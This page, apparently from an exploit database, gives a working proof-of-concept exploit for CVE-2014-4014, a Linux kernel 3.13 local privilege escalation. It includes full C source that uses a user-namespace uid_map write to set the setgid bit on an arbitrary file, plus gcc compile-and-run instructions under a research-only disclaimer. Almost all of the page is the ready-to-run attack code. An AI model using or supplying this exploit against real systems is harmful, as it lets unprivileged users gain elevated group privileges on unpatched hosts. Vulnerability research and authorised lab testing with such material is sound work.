Materialized exploit

CVE-2014-4014

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB local linux Verified

Source

Linux Kernel 3.13 - SGID Privilege Escalation

By Vitaly Nikolenko

How to test this exploit

Local exploit. Run on a vulnerable install in a throwaway VM and verify the privilege escalation.

gcc 33824.c -o exploit && ./exploit

Code c

/**
 * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
 *
 * Vitaly Nikolenko
 * http://hashcrack.org
 *
 * Usage: ./poc [file_path]
 *
 * where file_path is the file on which you want to set the sgid bit
 */
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>

#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

struct args {
    int pipe_fd[2];
    char *file_path;
};

static int child(void *arg) {
    struct args *f_args = (struct args *)arg;
    char c;

    // close stdout
    close(f_args->pipe_fd[1]);

    assert(read(f_args->pipe_fd[0], &c, 1) == 0);

    // set the setgid bit
    chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);

    return 0;
}

int main(int argc, char *argv[]) {
    int fd;
    pid_t pid;
    char mapping[1024];
    char map_file[PATH_MAX];
    struct args f_args;

    assert(argc == 2);

    f_args.file_path = argv[1];
    // create a pipe for synching the child and parent
    assert(pipe(f_args.pipe_fd) != -1);

    pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
    assert(pid != -1);

    // get the current uid outside the namespace
    snprintf(mapping, 1024, "0 %d 1\n", getuid());

    // update uid and gid maps in the child
    snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
    fd = open(map_file, O_RDWR); assert(fd != -1);

    assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
    close(f_args.pipe_fd[1]);

    assert (waitpid(pid, NULL, 0) != -1);
}